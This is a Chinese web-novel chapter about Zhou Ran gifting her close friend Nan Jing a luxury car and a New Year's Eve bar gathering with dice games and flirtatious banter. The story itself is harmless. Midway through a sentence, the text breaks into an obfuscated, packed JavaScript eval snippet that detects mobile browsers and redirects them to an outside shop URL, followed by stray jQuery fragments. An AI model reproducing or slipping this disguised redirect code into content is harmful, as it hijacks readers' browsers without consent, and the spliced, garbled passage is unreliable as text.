元旦前两日的傍晚,天色是一种将暗未暗的混沌灰蓝,最后一点稀薄的夕光挣扎着穿过城市高楼的缝隙。暖气开得很足,餐厅里弥漫着南景刚煮好的罗宋汤的酸甜香气。
门被推开一条缝,先探进来的是周冉戴着毛线帽的脑袋,她眼睛瞪得圆溜溜的,飞快地扫视了一圈客厅,确认南景坐在餐桌边对着笔记本电脑敲敲打打,整个人挤了进来,然后迅速反手关上门。
她穿着一件看起来就价格不菲但被她穿得皱巴巴的白色长羽绒服,进门后,她没像往常一样把外套随手一扔,而是带着点神秘兮兮的兴奋,在玄关磨蹭了好一会儿,悉悉索索地不知道在捣鼓什么。
南景从电脑屏幕前抬起头,看着她这一系列反常操作,眉毛微微扬起:“你这两天怎么回事?早出晚归,神出鬼没,回来就这副做贼心虚的德性。捡到阿拉丁神灯了,还是加入什么地下组织了?”
“去去去,你才做贼呢!我这是……在进行一项伟大的、秘密的、充满战略意义的采购行动!”周冉梗着脖子反驳。她踢踢踏踏地走到客厅中央,然后,她从家口袋里掏出一个东西,手腕一转,“啪”一声,清脆地拍在餐桌光滑的木质桌面上,就在南景的电脑旁边。
那是一把车钥匙。
南景敲击键盘的手指顿住了。他视线从屏幕上移开,缓缓下移,落在桌面上那把小小的钥匙上。他看了几秒,没动,也没说话,只是眼睛微微睁大了一些。
周冉双手叉腰,下巴抬得老高,脸上“快夸我”的骄矜表情。
南景终于伸出手,指尖触到冰凉的金属钥匙。他拿起来,放在掌心,拇指无意识地摩挲过那个著名的盾徽标志。他抬起眼,看向周冉,“这……不便宜吧?我好像还没给你赚到这车一个轮子的钱。”
“啧!”周冉立刻皱起鼻子,嫌弃地挥挥手,“钱钱钱,庸俗!重要的是这个吗?重要的是排面!是气场!”她绕过餐桌,走到对面的沙发前,然后毫无形象地自己砸进柔软的超大沙发里,手脚摊开,完成一个标准的“葛优躺”。她抓起一个抱枕搂在怀里,把半张脸埋进去,“听着,南小景,这事儿很重要。以后出门,谈项目也好,见客户也罢,或者就是单纯去超市买个菜,你,必须,给我,开、这、辆、车、去!”
“绝对不能让人以为你娘家没人!懂吗?以后直接开进他们那种高档写字楼、酒店、会所的地下停车场,停到最显眼的位置!让那些不长眼的、狗眼看人低的、还有某些自我感觉过于良好的不干净的玩意儿,从根儿上就断了那些有的没的的心思!省得他们再杵在门口碍眼,破坏本大小姐……和本大小姐的私人理财师,呼吸新鲜空气的好心情!”
她一口气说完,又瘫回沙发深处。
南景还握着那把车钥匙,指尖的温度似乎将金属也焐热了些许。他看着沙发上那个把自己摊成一张饼、嘴里说着最霸道的话、眼神里却藏着小心翼翼和无比赤诚的姑娘。客厅顶灯的光晕温柔地笼罩下来,空气里罗宋汤的香气越发浓郁。窗外的城市华灯初上,车流如织,而这一方小小的天地,温暖,踏实,有人把他看得比什么都重。
他很慢地眨了眨眼,将眼底骤然涌上的那股酸涩热意逼了回去。他放下钥匙,用指尖揉了揉鼻梁。再抬头时,脸上已经恢复了平静,只是嘴角的弧度柔软得不可思议,眼底漾着细碎温暖的光。
“你啊……”他轻轻叹了口气,“怎么这么好呀,我的妹妹。”
他没有说“谢谢”。有些情分,太重了,“谢谢”两个字太轻,配不上。
周冉一听,从沙发上一跃而起,把抱枕朝南景的方向虚砸了一下,脸上是夸张的嫌弃和“恨铁不成钢”:“啧!南小景!你看看!你看看你这没出息的样子!这就夸我好了?!你的防备心呢?你的金融精英的冷静自持呢?啊?!”
她光着脚蹦跶过来,双手撑在餐桌边,身体前倾,凑近南景,漂亮的杏眼瞪得圆圆的:“我警告你啊!我给你东西,可不是为了听你发好人卡的!我这是……这是资本家最顶级的PUA手段,懂不懂?糖衣炮弹!先给你点甜头,把你养得白白胖胖、心情舒畅,让你觉得跟着我周冉混,有肉吃,有车开,有面子!这样你明天、后天、大后天,才会更加心甘情愿、屁颠屁颠地去给我当牛做马,去金融市场冲锋陷阵,去把我的钱生出更多的钱!”
她越说越来劲,手指在空中比划着:“等我的资产翻倍,不,翻十倍!我就可以多点八个……不,十八个男模!要腹肌有腹肌,要脸蛋有脸蛋,要才艺有才艺的那种!让他们排着队给我表演徒手开核桃、胸口碎大石、还有倒立唱《爱情买卖》!这才是我投资的终极目的!你现在就是我宏伟蓝图上最重要的那颗螺丝钉!所以,收起你那些没用的感动,赶紧给我支棱起来,明天就开着这车去谈那个生物医药的案子,务必给我拿下!听明白没有?!”
南景安静地听她说完这一大段漏洞百出、又无比周冉的宣言。他看着她因为急切而微微起伏的胸口,看着她明明做着最霸道的事、说着最势利的话,却把一颗毫无保留滚烫的真心捧到他面前的样子。
他忽然低低地笑了起来。起初只是肩膀微微耸动,然后笑声越来越大,越来越清晰,最后变成了畅快淋漓的大笑。他笑得眼角都沁出了一点生理性的泪水,在灯光下闪闪发亮。
“哈哈……好,好……听明白了,周总。”他边笑边说,声音里带着未散的笑意和浓浓的鼻音,“为了您明天能点十八个男模,为了徒手开核桃和倒立唱《爱情买卖》的伟大事业,我明天一定……开着这辆糖衣炮弹,去把案子拿下。保证完成任务。”
周冉看着他笑得开怀的样子,先是愣了一下,随即也绷不住,“噗嗤”一声笑了出来,刚才那副虚张声势的资本家模样瞬间瓦解。她重新瘫回沙发里,小声嘀咕:“这还差不多……算你识相。”
南景止住笑,拿起桌上已经微凉的罗宋汤,喝了一大口。他重新看向沙发上那个又恢复“葛优躺”姿态的姑娘,轻声说:
“汤好了,过来喝。给你加了双倍番茄,没放你不吃的芹菜。”
“这还差不多……”周冉哼哼唧唧地爬起来,趿拉着拖鞋蹭到餐桌边,挨着他坐下。
跨年夜的江岸,化身为一片沸腾的、由灯光、人潮和喧嚣汇成的海洋。距离零点还有好几个小时,主干道已沦陷为巨型停车场,车灯的红流与霓虹的彩光交织,绵延数里,映亮了一张张兴奋期盼的脸。喇叭声、音乐声、年轻人的笑闹呼喊声,混杂着冬日夜晚清冷的空气,形成一种令人头皮发麻又心潮澎湃的噪音背景墙。
南景驾驶着那辆崭新的坐驾,在龟速挪动的车流中,显得格外沉稳流畅,但再好的性能也敌不过人海战术。短短三公里,足足耗掉近一个小时。周冉瘫在副驾,第N次刷新手机地图上那令人绝望的红色路段,发出哀叹:“我算是明白了,人类集体迁徙的壮观,只有身临其境才能体会,并且想死。南小景,你说我现在下车跑过去,会不会比车快?”
“会,”南景瞥了一眼窗外摩肩接踵、几乎水泄不通的人行道,慢悠悠补充,“前提是你能突破前方大爷大妈的广场舞方阵、情侣连体婴障碍、以及卖发光头饰和氢气球的游击小队。”
等他们终于“爬”到酒吧所在的建筑楼下,时间已逼近聚会约定点。酒吧门口同样人头攒动,穿着时尚的男女在寒风中喷着白气交谈,等待入场。秦朗就站在那一片喧嚣与璀璨灯牌下,一身剪裁利落的黑色长大衣,衬得身姿愈发挺拔。他手里依旧捧着一束花,这次是热烈明艳的红玫瑰,每一朵都饱满欲滴,在酒吧变幻的霓虹灯下,红得灼眼,与他脸上灿烂过星辰的笑容相得益彰。他目光落在刚从车上下来的周冉,几步迎上,将花束不由分说地递到她面前。
“有没有想我呀,冉冉。”他开口,桃花眼弯起。
周冉接过那束沉甸甸、香气馥郁的红玫瑰。她美目流转,上下扫了秦朗一眼,然后微微歪头,做出认真思考的样子:“本来呢,堵在车河里无聊的时候,是稍微想了那么一下下。后来,”她耸耸肩,语气变得无比遗憾,“手机太好玩了,刷着刷着……就给忘了。”
秦朗脸上的笑容瞬间放大,不仅没被打击,反而像是听到了什么天大的情话,一手捂住心口,另一只手夸张地举向夜空,做咏叹状:“终于啊!皇天不负苦心人!守得云开见月明!近水楼台先得月!冉冉你心里终于有我了!虽然只有一下下,还被手机打败了,但四舍五入就是一辈子了!我宣布,今天就是我秦朗的纪念日!”
“打住!打住打住!”周冉一手抱花,一手抬起,做了个“暂停”的手势,漂亮的眉毛嫌弃地拧起,“麻烦你立刻、马上,管好你那张跑火车的嘴。再这么胡说八道,信不信我立刻找卷胶带给你堵上?”
“嘻嘻,”秦朗立刻凑近,脸几乎要贴到她举起的指尖,眼神促狭,压低声音,用气声暧昧地问:“拿什么堵?你的嘴吗?冉冉,快快快来,我等不及了……试试看能不能堵住?”他边说边故意撅了撅嘴,做出索吻的架势,动作夸张又欠揍。
“!!!”周冉瞬间炸毛,一把将怀里巨大的玫瑰花束塞回秦朗怀里,然后迅雷不及掩耳地转身,一把拽住旁边正忍着笑看戏的南景的胳膊,拖着他就在酒吧入口冲,嘴里念念有词:“快走快走!此地不宜久留!狐狸精都没他骚包!太骚了!辣眼睛!南小景你以后离他远点,容易学坏!”
南景被她拽得一个趔趄,随即顺从地跟上,终于忍不住,低低的笑声从喉咙里逸出:“哈哈哈……好,听你的,离远点。”
秦朗抱着被退货的玫瑰花,看着周冉落荒而逃的背影和南景含笑的神情,不但不恼,反而笑得见牙不见眼,得意洋洋地跟了上去,还对着门口查ID的保安熟稔地打了个招呼。
三人好不容易挤过摩肩接踵的一楼大厅,乘电梯直达四楼。电梯门打开的瞬间,比楼下更甚的热浪、声浪和混杂着酒水、香水、食物气息的暖风扑面而来,几乎让人窒息。
四楼的江景露台今夜更是被装点得宛如梦幻王国。巨大的透明穹顶之下,悬挂着无数闪烁的星空灯和银色气球,正中央一棵高达数米的电子圣诞树(兼新年树)流光溢彩,变幻着图案。音乐是请了知名DJ现场打碟的,鼓点强劲,几乎要震碎胸腔,却又奇异地与满场的欢呼尖叫融为一体。目光所及,尽是精心打扮的男男女女,穿着闪亮的衣裙或潮服,在舞池中忘我扭动,在卡座间高声谈笑,空气里弥漫着酒精、荷尔蒙和今夜无眠的放肆味道。
他们预订的江边卡座位置依然绝佳。周卓、还有另外几个眼熟的朋友已经到了,正围着桌子玩骰子,声音一个比一个大。令人意外的是,林骁和徐杨也在。两人今晚的打扮与上次又不同,林骁穿了件真丝绒质感的墨绿色衬衫,领口微敞,野性中添了几分贵气;徐杨则是米白色毛衣搭配卡其裤,温润清爽。他们正和周卓说着什么,引得周卓哈哈大笑。看到秦朗他们过来,周卓立刻放下骰盅,挥舞着手臂:“这边这边!秦少!冉姐!南景!这边!”
周冉拖着南景挤过人群,走到卡座边,长舒一口气,把自己扔进柔软的沙发里,这才有工夫打量四周。她对着周卓挥了挥小手:“嗨,嗨…嗨…人真他娘的多……我感觉我半条命已经捐给楼下的电梯和人群了。”
周卓笑嘻嘻地递过来一杯早已准备好的、插着柠檬片的冰水:“冉姐辛苦了!喝口水压压惊!今天跨年嘛,全城出动的节奏!不过咱们这儿位置好,看烟花一览无余!”他目光扫到后面抱着花、一脸春风得意跟进来的秦朗,立刻挤眉弄眼:“哟!秦少,又送花?这次是红玫瑰?攻势很猛嘛!”
秦朗把花小心地放在周冉面前的桌上,得意地挑眉:“那必须,新年新气象,当然要红红火火。”他顺势在周冉旁边坐下,手臂很自然地搭在她身后的沙发背上。
林骁和徐杨也笑着跟他们打招呼。林骁目光落在南景身上,笑容爽朗:“南景,又见面了。今天气色不错。”徐杨则温和地点头示意,递过来一杯度数不高的起泡酒:“南景,喝点这个?味道比较清爽。”
南景对两人笑了笑,接过酒杯:“谢谢。你们今天也在?有工作?”他记得周冉提过他们是模特。
“嗯,有个品牌的跨年活动刚结束,就在附近。”徐杨解释,笑容温和,“周卓说这边有局,热闹,我们就过来蹭玩了。没打扰吧?”
“当然没有!”周冉立刻接话,眼睛弯成月牙,看看林骁又看看徐杨,最后目光落在南景身上,意有所指地拉长语调,“人多热闹~特别好~是不是啊,南、小、景?”
南景无奈地看她一眼,没接这个话茬,只是对林骁和徐杨举了举杯:“欢迎。上次玩得很开心,今晚继续。”
周卓显然是游戏黑洞,连着输了几把,被罚的酒一杯接一杯,脸已经涨红,正大着舌头和另一个朋友争论上一轮的规则。秦朗虽然主要注意力在周冉身上,但社交本能让他游刃有余地照顾着全场,时而接话,时而叫酒,确保每个人杯子不空。
林骁的注意力显然更多放在南景身上。他坐在南景斜对面的单人沙发上,长腿随意敞着,衬衫的袖子挽到手肘,露出线条流畅的小臂。他手里玩着一个金属打火机,开开合合,发出清脆的“咔嗒”声,目光却时常掠过喧嚣,落在南景身上。
当南景听完徐杨关于某个艺术展的分享,微微点头表示赞同时,林骁忽然身体前倾,手肘撑在膝盖上,隔着不大的茶几看向南景,声音在音乐间隙中提高了一些,带着他特有的、略显沙哑的直率:“南景,光听徐杨说那些虚头巴脑的艺术理论多没劲。不如玩点实在的?”他拿起桌上一个空的威士忌杯,又抓起三颗骰子,在手里掂了掂,眼神里带着挑战的笑意,“比大小,真心话。输的人回答赢家一个问题,或者喝一杯。敢不敢?”
南景还没回答,旁边的周冉耳朵尖,立刻凑过来,眼睛发亮:“哎!这个好!南小景,上!怕什么!问点劲爆的!”
南景看了一眼林骁手中转动的骰子,又看了看他眼中并无恶意、纯粹是找乐子的光,笑了笑,也放松了坐姿:“行啊。不过问题尺度要提前说好,涉及商业机密和个人密码的,恕不回答。”
“放心,”林骁咧嘴一笑,虎
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17046472|194740||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
牙尖尖,“就问点……生活趣事。比如,南景哥你最丢人的一次经历是什么?”他边说边把骰盅推到南景面前,“你先。”
南景也没推辞,拿起骰盅,手腕利落地晃了几下,“啪”地扣在桌面。揭开,四、五、六,十五点。不算小。
“哇哦,手气可以啊南景哥。”徐杨在旁边温和地笑着捧场。
林骁挑挑眉,接过骰盅,手法花哨地摇了几下,重重落下。揭开,五、五、六,十六点。刚好大一点。
“承让。”林骁抱了抱拳,笑容扩大,身体又往前倾了倾,“那么,南景哥,请说出你最丢人的一次经历。要具体,要生动,要让我们有画面感。”
南景失笑,摇了摇头,似乎真的在回忆。周冉和秦朗也停下交谈,看了过来,连醉醺醺的周卓都支棱起耳朵。
“最丢人的啊……”南景指尖摩挲着酒杯,想了想,“大概是大学时,有一次代表系里参加校际辩论赛决赛。我是一辩,陈词的时候太投入,没注意脚下,自己把自己演讲台旁边的电源线给绊了。”
他顿了顿,表情有点无奈的好笑:“然后,我们整个辩论队的麦克风、计时器、还有主席台的灯,‘啪’,全灭了。现场一片漆黑,安静了几秒,然后哄堂大笑。我站在台上,手里还拿着稿子,感觉自己像个突然被掐了电的机器人。”
“哈哈哈哈!”林骁第一个爆笑出声,“画面感太强了!南景,你那时候是不是恨不得找个地缝钻进去?”
徐杨也忍俊不禁,笑着问:“后来呢?比赛怎么办?”
“后来工作人员紧急抢修,耽误了快十分钟。”南景喝了口酒,自己也觉得好笑,“还好后来电路恢复了,比赛继续。不过我们队最后还是输了,我总觉得跟我那一绊有点关系。后来好长一段时间,系里同学见我都叫我断电一辩。”
“断电一辩!哈哈哈哈!这外号好!”周卓也加入了嘲笑行列。
秦朗笑着搂了搂周冉的肩膀,低声说:“看不出来啊,南景还有这种黑历史。”
周冉与有荣焉地抬下巴:“那是,我们南小景也是有过青春的人!虽然青春有点漏电。”
笑闹过后,游戏继续。这次南景赢了。他看着林骁,想了想,问了个不痛不痒的问题:“你做过最疯狂的一件事是什么?”
林骁没想到南景问得这么“温和”,愣了一下,随即摸了下鼻子,眼神飘向窗外璀璨的江景,声音低了些,带着点回忆的味道:“最疯狂的啊……大概是二十岁那年,瞒着家里,用攒了好久的钱和奖学金,一个人跑去了撒哈拉沙漠边缘,住了半个月。想看看真正的星空,也想想自己到底要什么。”他收回目光,看向南景,笑了笑,“结果晒脱一层皮,差点迷路,也被星空震撼到哭。回来就被我爸揍了一顿,但觉得值。”
这个答案出乎意料的真诚,甚至带着点理想主义的浪漫色彩,与林骁略显野性的外表形成微妙反差。南景有些讶异,随即真诚地说:“很酷的经历。”
徐杨在一旁安静地听着,适时地给两人的杯子续上酒。在南景放下酒杯时,他注意到南景的嘴角沾了一点点杯沿的盐边,抽了张纸巾递过去,声音温和:“南景,这里。”
南景道谢接过,擦掉。徐杨笑了笑,没再多说,转而拿起自己的酒杯,向林骁示意:“林骁,咱俩也来一把?输了的人,去舞池里找一位陌生人,用最正经的语气说‘您好,请问您相信光吗?’”
这个提议瞬间点燃了周冉和周卓的恶趣味,两人立刻起哄。林骁“靠”了一声,笑骂徐杨“看着老实,一肚子坏水”,但还是爽快地拿起了骰盅。
游戏之外,徐杨与南景的交流则更多是悄无声息的照顾。
林骁则更外放。他看到南景似乎对DJ正在放的一首偏冷门但旋律不错的电子音乐微微挑眉,便主动搭话:“这首歌的混音师是我一朋友,很棒吧?他下个月在Mao有现场,你要是感兴趣,我这有票。”说着拿出手机,很自然地调出购票页面给南景看,距离保持在礼貌范围内,但分享的意味明显。
南景接过手机看了看,点点头:“确实不错。有时间的话,可以去听听。”他将手机递回时,林骁的手指无意间轻轻擦过他的指尖,一触即分,快得像是错觉。林骁神色如常地收回手机,笑着说了句“那说定了”。
徐杨看了看似乎不打算去跳舞的南景,又看了看窗外,提议道:“南景,离烟花还有点时间,这边有点闷,旁边有个小露台,人少,看江景角度也不错,要去透透气吗?”
南景正觉得音乐震得有些头痛,便点头:“好。”
林骁闻言,也站起身:“一起。我也去抽根烟。”
三人避开拥挤的人潮,走到主露台侧翼一个相对安静的小观景台。这里果然人少,只有零星几对情侣依偎着看夜景。寒风扑面而来,瞬间吹散了室内的燥热,却也让人精神一振。对岸的灯火清晰无比。
徐杨靠在栏杆上,望着江面,安静地没有说话。林骁则走到一边,点燃了一支烟,猩红的火光在夜色中明灭。他抽了一口,缓缓吐出烟雾,侧头看向站在几步外的南景。南景微微仰头,望着夜空,侧脸在远处霓虹和近处安全灯的光线下,显得沉静而清晰。
“南景,”林骁忽然开口,声音在风中显得有点模糊,“上次……冉姐那出啤酒教学,没吓着你吧?”他语气带着点玩笑,眼神却认真。
南景转过头,看向他,想起那晚周冉的壮举,不由得笑了:“还好。她一向那样。倒是你,衣服真没事?”
“没事,”林骁摆手,也笑了,“早干了。再说,秦少后来真赔了我一件,比我那件还贵。赚了。”他顿了顿,弹了下烟灰,语气随意,却又似乎藏着点试探,“不过,冉姐对你真好。亲兄妹也不过如此了。”
“嗯,”南景点头,目光柔和地望向主露台方向,虽然看不到周冉,但能想象她此刻在舞池里肆意欢闹的样子,“她是我最重要的家人。”
徐杨这时也转过身,背靠着栏杆,双手插在裤袋里,看向南景,温声说:“有这样的人在身边,是福气。南景你性格好,值得被这样对待。”
这话说得真诚。南景看向徐杨,对上他清澈温和的目光,微微颔首:“谢谢。你们也是,周卓的朋友,都挺有意思。”
“周卓算我们老板的客户,我们秦少不算太熟。”林骁接过话茬,将烟蒂摁灭在旁边的垃圾桶上,走了回来,与南景、徐杨形成一个松散的三角,“不过南景,感觉你跟秦少他们那个圈子,不太一样。”
“哪里不一样?”南景有些好奇。
“说不上来,”林骁摸了摸下巴,做出思考状,“就是感觉……你没那么多圈子里的习气。更……干净?也更……”他似乎在找一个合适的词。
“更稳。”徐杨轻声补充,他看向南景,眼神带着欣赏,“是那种知道自己要什么,也在认真生活的稳。不浮不躁,很难得。”
被两个算上今晚才第二次见面的人这样评价,南景有些意外,也有些不好意思。他笑了笑:“你们过奖了。我只是……按自己的步调走而已。”